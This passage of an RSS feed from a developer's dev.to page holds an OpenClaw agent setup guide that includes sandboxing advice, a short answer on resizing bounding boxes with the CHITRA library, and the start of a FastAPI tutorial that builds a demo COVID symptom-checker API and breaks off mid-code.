        &lt;/div&gt;
        &lt;div&gt;
          &lt;div&gt;
            &lt;a href="/aniketmaurya" class="crayons-story__secondary fw-medium m:hidden"&gt;
              Aniket Maurya
            &lt;/a&gt;
            &lt;div class="profile-preview-card relative mb-4 s:mb-0 fw-medium hidden m:inline-block"&gt;
              
                Aniket Maurya
                
              
              &lt;div id="story-author-preview-content-3231475" class="profile-preview-card__content crayons-dropdown branded-7 p-4 pt-0"&gt;
                &lt;div class="gap-4 grid"&gt;
                  &lt;div class="-mt-4"&gt;
                    &lt;a href="/aniketmaurya" class="flex"&gt;
                      &lt;span class="crayons-avatar crayons-avatar--xl mr-2 shrink-0"&gt;
                        &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F274492%2F32b0da35-e0ea-43d3-945f-e44ee4dd94de.jpg" class="crayons-avatar__image" alt="" width="400" height="400"&gt;
                      &lt;/span&gt;
                      &lt;span class="crayons-link crayons-subtitle-2 mt-5"&gt;Aniket Maurya&lt;/span&gt;
                    &lt;/a&gt;
                  &lt;/div&gt;
                  &lt;div class="print-hidden"&gt;
                    
                      Follow
                    
                  &lt;/div&gt;
                  &lt;div class="author-preview-metadata-container"&gt;&lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
            &lt;/div&gt;

          &lt;/div&gt;
          &lt;a href="https://dev.to/aniketmaurya/5-ways-to-set-up-openclaw-aka-clawdbot-moltbot-and-actually-use-it-day-to-day-2fhn" class="crayons-story__tertiary fs-xs"&gt;&lt;time&gt;Feb 4&lt;/time&gt;&lt;span class="time-ago-indicator-initial-placeholder"&gt;&lt;/span&gt;&lt;/a&gt;
        &lt;/div&gt;
      &lt;/div&gt;

    &lt;/div&gt;

    &lt;div class="crayons-story__indention"&gt;
      &lt;h2 class="crayons-story__title crayons-story__title-full_post"&gt;
        &lt;a href="https://dev.to/aniketmaurya/5-ways-to-set-up-openclaw-aka-clawdbot-moltbot-and-actually-use-it-day-to-day-2fhn" id="article-link-3231475"&gt;
          5 Ways to Set Up OpenClaw (aka ClawdBot / MoltBot) — and Actually Use It Day-to-Day
        &lt;/a&gt;
      &lt;/h2&gt;
        &lt;div class="crayons-story__tags"&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/ai"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;ai&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/openclaw"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;openclaw&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/tutorial"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;tutorial&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/productivity"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;productivity&lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="crayons-story__bottom"&gt;
        &lt;div class="crayons-story__details"&gt;
          &lt;a href="https://dev.to/aniketmaurya/5-ways-to-set-up-openclaw-aka-clawdbot-moltbot-and-actually-use-it-day-to-day-2fhn" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left"&gt;
            &lt;div class="multiple_reactions_aggregate"&gt;
              &lt;span class="multiple_reactions_icons_container"&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/fire-f60e7a582391810302117f987b22a8ef04a2fe0df7e3258a5f49332df1cec71e.svg" width="24" height="24"&gt;
                  &lt;/span&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/raised-hands-74b2099fd66a39f2d7eed9305ee0f4553df0eb7b4f11b01b6b1b499973048fe5.svg" width="24" height="24"&gt;
                  &lt;/span&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/sparkle-heart-5f9bee3767e18deb1bb725290cb151c25234768a0e9a2bd39370c382d02920cf.svg" width="24" height="24"&gt;
                  &lt;/span&gt;
              &lt;/span&gt;
              &lt;span class="aggregate_reactions_counter"&gt;5&lt;span class="hidden s:inline"&gt;&amp;nbsp;reactions&lt;/span&gt;&lt;/span&gt;
            &lt;/div&gt;
          &lt;/a&gt;
            &lt;a href="https://dev.to/aniketmaurya/5-ways-to-set-up-openclaw-aka-clawdbot-moltbot-and-actually-use-it-day-to-day-2fhn#comments" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left flex items-center"&gt;
              

              2&lt;span class="hidden s:inline"&gt;&amp;nbsp;comments&lt;/span&gt;
            &lt;/a&gt;
        &lt;/div&gt;
        &lt;div class="crayons-story__save"&gt;
          &lt;small class="crayons-story__tertiary fs-xs mr-2"&gt;
            3 min read
          &lt;/small&gt;
            
              &lt;span class="bm-initial"&gt;
                

              &lt;/span&gt;
              &lt;span class="bm-success"&gt;
                

              &lt;/span&gt;
            
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;


</description>
      <category>ai</category>
      <category>openclaw</category>
      <category>tutorial</category>
      <category>productivity</category>
    </item>
    <item>
      <title>5 Ways to Set Up OpenClaw (aka ClawdBot / MoltBot) — and Actually Use It Day-to-Day</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Wed, 04 Feb 2026 12:10:58 +0000</pubDate>
      <link>https://dev.to/aniketmaurya/5-ways-to-set-up-openclaw-aka-clawdbot-moltbot-and-actually-use-it-day-to-day-2fhn</link>
      <guid>https://dev.to/aniketmaurya/5-ways-to-set-up-openclaw-aka-clawdbot-moltbot-and-actually-use-it-day-to-day-2fhn</guid>
      <description>&lt;p&gt;Most “setup guides” jump straight into commands. That’s backwards.&lt;/p&gt;

&lt;p&gt;This blog will help you get connected to an OpenClaw bot with minimal setup, you can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;respond from phone,&lt;/li&gt;
&lt;li&gt;run tasks (code, reminders, web research),&lt;/li&gt;
&lt;li&gt;stay secure,&lt;/li&gt;
&lt;li&gt;without spending a whole weekend to set it up.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So first: the &lt;strong&gt;real problem&lt;/strong&gt; is choosing the &lt;em&gt;right&lt;/em&gt; setup for how you’ll use it.&lt;/p&gt;

&lt;p&gt;Below are &lt;strong&gt;five practical setups&lt;/strong&gt; (from easiest to most powerful), each framed around the pain it solves.&lt;/p&gt;




&lt;h2&gt;
  
  
  1) The “Phone-First” Setup: Telegram DM Bot (fastest time-to-value)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The problem it solves
&lt;/h3&gt;

&lt;p&gt;You want to talk to your agent from anywhere—especially your phone—without opening a laptop, VPN, or SSH app. You also want a clean “inbox-like” experience: quick prompts, quick replies.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why this setup works
&lt;/h3&gt;

&lt;p&gt;Telegram is lightweight, reliable, and behaves like a “command line for humans.” It’s ideal for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;quick questions (“summarize this”, “draft a message”)&lt;/li&gt;
&lt;li&gt;reminders (“remind me at 11am”)&lt;/li&gt;
&lt;li&gt;lightweight ops (“check RAM”, “list files”, “run a script”)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What it looks like
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;You create a Telegram bot (BotFather)&lt;/li&gt;
&lt;li&gt;OpenClaw connects to it&lt;/li&gt;
&lt;li&gt;You DM your assistant like a person&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Best for:&lt;/strong&gt; personal assistants, founders, solo builders, “run my life from my phone” workflows.&lt;/p&gt;

&lt;p&gt;Celesto AI provides a no-setup, no-server solution for &lt;em&gt;humans&lt;/em&gt;! Get OpenClaw on your Telegram for free &lt;a href="https://celesto.ai/openclaw" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  2) The “I Want It Everywhere” Setup: Multi-Channel Bot (Telegram + Discord/Slack)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The problem it solves
&lt;/h3&gt;

&lt;p&gt;Your work happens in communities and team spaces—not just DMs. You want the agent where decisions happen:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Discord communities&lt;/li&gt;
&lt;li&gt;Slack team channels&lt;/li&gt;
&lt;li&gt;group chats where people collaborate&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Why this setup works
&lt;/h3&gt;

&lt;p&gt;A multi-channel setup turns OpenClaw into an “ambient operator”:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;answers when mentioned&lt;/li&gt;
&lt;li&gt;summarizes threads&lt;/li&gt;
&lt;li&gt;drafts responses&lt;/li&gt;
&lt;li&gt;keeps notes&lt;/li&gt;
&lt;li&gt;can be restricted by allowlists / mention-only behavior&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What it looks like
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;One OpenClaw instance&lt;/li&gt;
&lt;li&gt;Multiple channel plugins enabled&lt;/li&gt;
&lt;li&gt;Rules like “only respond on @mention” to avoid being spammy&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Best for:&lt;/strong&gt; startup teams, communities, internal “ops bot” usage.&lt;/p&gt;




&lt;h2&gt;
  
  
  3) The “Automation Brain” Setup: Scheduled Reminders + Cron Jobs
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The problem it solves
&lt;/h3&gt;

&lt;p&gt;You don’t need a chatbot. You need a system that remembers.&lt;br&gt;
Following up, applying, sending that DM, doing the weekly check-in—humans drop these constantly.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why this setup works
&lt;/h3&gt;

&lt;p&gt;OpenClaw can schedule exact-time tasks (one-shot or recurring) that fire without you remembering:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;“Tomorrow after noon, remind me to apply”&lt;/li&gt;
&lt;li&gt;“Tuesday 10am: send a DM”&lt;/li&gt;
&lt;li&gt;“Every weekday at 9:30: give me today’s priorities”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is where assistants become &lt;strong&gt;infrastructure&lt;/strong&gt;, not conversation.&lt;/p&gt;

&lt;h3&gt;
  
  
  What it looks like
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;You tell OpenClaw what/when&lt;/li&gt;
&lt;li&gt;It schedules a job (cron)&lt;/li&gt;
&lt;li&gt;It pings you at the right moment with context and links&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Best for:&lt;/strong&gt; founders, ADHD-friendly workflows, anyone juggling deals + meetings.&lt;/p&gt;




&lt;h2&gt;
  
  
  4) The “Coding Agent” Setup: Workspace + Exec (turn it into a real dev assistant)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The problem it solves
&lt;/h3&gt;

&lt;p&gt;You want more than advice—you want actual output:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;code changes&lt;/li&gt;
&lt;li&gt;scripts run&lt;/li&gt;
&lt;li&gt;files edited&lt;/li&gt;
&lt;li&gt;repos managed&lt;/li&gt;
&lt;li&gt;quick prototypes built&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Why this setup works
&lt;/h3&gt;

&lt;p&gt;When OpenClaw has:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a workspace directory&lt;/li&gt;
&lt;li&gt;permission to run commands safely
…it becomes a practical coding agent that can &lt;em&gt;do the work&lt;/em&gt;, not just talk about it.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What it looks like
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;You point OpenClaw at a workspace (repo or project folder)&lt;/li&gt;
&lt;li&gt;It can edit files and run tests/build commands&lt;/li&gt;
&lt;li&gt;You review results (diffs, logs, artifacts)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Best for:&lt;/strong&gt; building product fast, automating repetitive dev tasks, “ship while on your phone.”&lt;/p&gt;




&lt;h2&gt;
  
  
  5) The “Security-First” Setup: Hard Sandbox (gVisor / MicroVMs / strict mounts)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The problem it solves
&lt;/h3&gt;

&lt;p&gt;If you’re running agents that can execute commands, your threat model changes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;“What if the agent (or a dependency) is compromised?”&lt;/li&gt;
&lt;li&gt;“What if a prompt injection tries to exfiltrate secrets?”&lt;/li&gt;
&lt;li&gt;“What if a container escape happens?”&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Why this setup works
&lt;/h3&gt;

&lt;p&gt;Containers are convenient, but they share the host kernel. If you want serious isolation, you tighten the boundaries:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Common patterns:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;gVisor&lt;/strong&gt;: syscall interception; stronger isolation than vanilla containers with less overhead than full VMs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MicroVMs (e.g., Firecracker)&lt;/strong&gt;: VM boundary; stronger isolation for “run untrusted stuff” workloads.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Read-only containers + minimal mounts&lt;/strong&gt;: only mount what’s needed, no host root access, no ambient credentials.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Split duties&lt;/strong&gt;: keep “internet browsing” separate from “has secrets” workloads.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What it looks like
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Run OpenClaw with strict filesystem access (only specific mounted directories)&lt;/li&gt;
&lt;li&gt;Use hardened runtime (gVisor / MicroVM) if you’re serious about untrusted execution&lt;/li&gt;
&lt;li&gt;Keep keys out of chat logs; use env vars/secrets management&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Best for:&lt;/strong&gt; security-conscious builders, anyone running agents on a machine with real credentials.&lt;/p&gt;




&lt;h1&gt;
  
  
  Which One Should You Pick?
&lt;/h1&gt;

&lt;p&gt;If you want a simple rule:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Fastest useful&lt;/strong&gt;: Telegram DM bot (&lt;a href="https://celesto.ai/openclaw" rel="noopener noreferrer"&gt;Setup #1&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Team usage&lt;/strong&gt;: Multi-channel (Setup #2)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Life admin superpower&lt;/strong&gt;: Cron reminders (Setup #3)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Build products&lt;/strong&gt;: Workspace + exec (Setup #4)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;High-trust environment / real secrets&lt;/strong&gt;: Security-first sandboxing (Setup #5)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can also combine them: most serious setups do.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>openclaw</category>
      <category>tutorial</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Answer: Resizing image and its bounding box</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Sun, 04 Jul 2021 04:57:45 +0000</pubDate>
      <link>https://dev.to/aniketmaurya/answer-resizing-image-and-its-bounding-box-5c5d</link>
      <guid>https://dev.to/aniketmaurya/answer-resizing-image-and-its-bounding-box-5c5d</guid>
      <description>&lt;div class="ltag__stackexchange--container"&gt;
  &lt;div class="ltag__stackexchange--title-container"&gt;
    
      &lt;div class="ltag__stackexchange--title"&gt;
        &lt;div class="ltag__stackexchange--header"&gt;
          &lt;img src="https://assets.dev.to/assets/stackoverflow-logo-b42691ae545e4810b105ee957979a853a696085e67e43ee14c5699cf3e890fb4.svg" alt=""&gt;
          &lt;a href="https://stackoverflow.com/questions/49466033/resizing-image-and-its-bounding-box/68241813#68241813" rel="noopener noreferrer"&gt;
            &lt;span class="title-flare"&gt;answer&lt;/span&gt; re: Resizing image and its bounding box
          &lt;/a&gt;
        &lt;/div&gt;
        &lt;div class="ltag__stackexchange--post-metadata"&gt;
          &lt;span&gt;Jul  4 '21&lt;/span&gt;
        &lt;/div&gt;
      &lt;/div&gt;
      &lt;a class="ltag__stackexchange--score-container" href="https://stackoverflow.com/questions/49466033/resizing-image-and-its-bounding-box/68241813#68241813" rel="noopener noreferrer"&gt;
        &lt;img src="https://assets.dev.to/assets/stackexchange-arrow-up-eff2e2849e67d156181d258e38802c0b57fa011f74164a7f97675ca3b6ab756b.svg" alt=""&gt;
        &lt;div class="ltag__stackexchange--score-number"&gt;
          5
        &lt;/div&gt;
        &lt;img src="https://assets.dev.to/assets/stackexchange-arrow-down-4349fac0dd932d284fab7e4dd9846f19a3710558efde0d2dfd05897f3eeb9aba.svg" alt=""&gt;
      &lt;/a&gt;
    
  &lt;/div&gt;
  &lt;div class="ltag__stackexchange--body"&gt;
    
&lt;p&gt;Another way of doing this is to use &lt;a href="https://github.com/aniketmaurya/chitra" rel="noreferrer noopener"&gt;CHITRA&lt;/a&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;image = Chitra(img_path, box, label)
# Chitra can rescale your bounding box automatically based on the new image size.
image.resize_image_with_bbox((224, 224))

print('rescaled bbox:', image.bounding_boxes)
plt.imshow(image.draw_boxes())
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;a href="https://chitra.readthedocs.io/en/latest/" rel="noreferrer noopener"&gt;https://chitra.readthedocs.io/en/latest/&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;pip install chitra&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;/div&gt;
&lt;br&gt;
  &lt;div class="ltag__stackexchange--btn--container"&gt;
&lt;br&gt;
    &lt;a href="https://stackoverflow.com/questions/49466033/resizing-image-and-its-bounding-box/68241813#68241813" class="ltag__stackexchange--btn" rel="noopener noreferrer"&gt;Open Full Answer&lt;/a&gt;&lt;br&gt;
  &lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;
&lt;br&gt;&lt;br&gt;
Resizing image and bounding box separately can be pain and irritating. CHITRA is an image utility library for Deep Learning that can rescale your bounding box automatically based on the new image size.

&lt;p&gt;📝 Docs: &lt;a href="https://chitra.readthedocs.io/en/latest/" rel="noopener noreferrer"&gt;https://chitra.readthedocs.io/en/latest/&lt;/a&gt;&lt;/p&gt;

</description>
      <category>deeplearning</category>
      <category>objectdetection</category>
      <category>python</category>
      <category>visualization</category>
    </item>
    <item>
      <title>Building Machine Learning API with FastAPI</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Sat, 22 Aug 2020 05:53:58 +0000</pubDate>
      <link>https://dev.to/aniketmaurya/building-machine-learning-api-with-fastapi-2ecl</link>
      <guid>https://dev.to/aniketmaurya/building-machine-learning-api-with-fastapi-2ecl</guid>
      <description>&lt;p&gt;FastAPI is a high-performance asynchronous framework for building APIs in Python.&lt;br&gt;
It provides support for Swagger UI out of the box.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Source code for this blog is available &lt;a href="https://github.com/aniketmaurya/tensorflow-web-app-starter-pack" rel="noopener noreferrer"&gt;aniketmaurya/tensorflow-fastapi-starter-pack&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;
  
  
  Lets start with a simple hello-world example
&lt;/h1&gt;

&lt;p&gt;First, we import &lt;code&gt;FastAPI&lt;/code&gt; class and create an object &lt;code&gt;app&lt;/code&gt;. This class has useful &lt;a href="https://github.com/tiangolo/fastapi/blob/a6897963d5ff2c836313c3b69fc6062051c07a63/fastapi/applications.py#L30" rel="noopener noreferrer"&gt;parameters&lt;/a&gt; like we can pass the title and description for Swagger UI.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;fastapi&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;FastAPI&lt;/span&gt;
&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Hello world&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;This is a hello world example&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;0.0.1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We define a function and decorate it with &lt;code&gt;@app.get&lt;/code&gt;. This means that our API &lt;code&gt;/index&lt;/code&gt; supports the GET method. The function defined here is &lt;strong&gt;async&lt;/strong&gt;, FastAPI automatically takes care of async and without async methods by creating a thread pool for the normal def functions and it uses an async event loop for async functions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/index&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hello_world&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hello world&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Pydantic support
&lt;/h1&gt;

&lt;p&gt;One of my favorite features offered by FastAPI is Pydantic support. We can define Pydantic models and request-response will be handled by FastAPI for these models.&lt;br&gt;
Let's create a COVID-19 symptom checker API to understand this.&lt;/p&gt;
&lt;h2&gt;
  
  
  Covid-19 symptom checker API
&lt;/h2&gt;

&lt;p&gt;We create a request body, it is the format in which the client should send the request. It will be used by Swagger UI.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pydantic&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BaseModel&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Symptom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BaseModel&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;fever&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
    &lt;span class="n"&gt;dry_cough&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
    &lt;span class="n"&gt;tiredness&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
    &lt;span class="n"&gt;breathing_problem&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's create a function to assign a risk level based on the inputs.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;This is just for learning and should not be used in real life, better consult a doctor.&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_risk_level&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Symptom&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fever&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dry_cough&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tiredness&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;breathing_problem&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Low risk level. THIS IS A DEMO APP&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;breathing_problem&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dry_cough&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fever&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;moderate risk level. THIS IS A DEMO APP&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;breathing_problem&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;High-risk level. THIS IS A DEMO APP&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;THIS IS A DEMO APP&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's create the API for checking the symptoms&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/api/covid-symptom-check&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
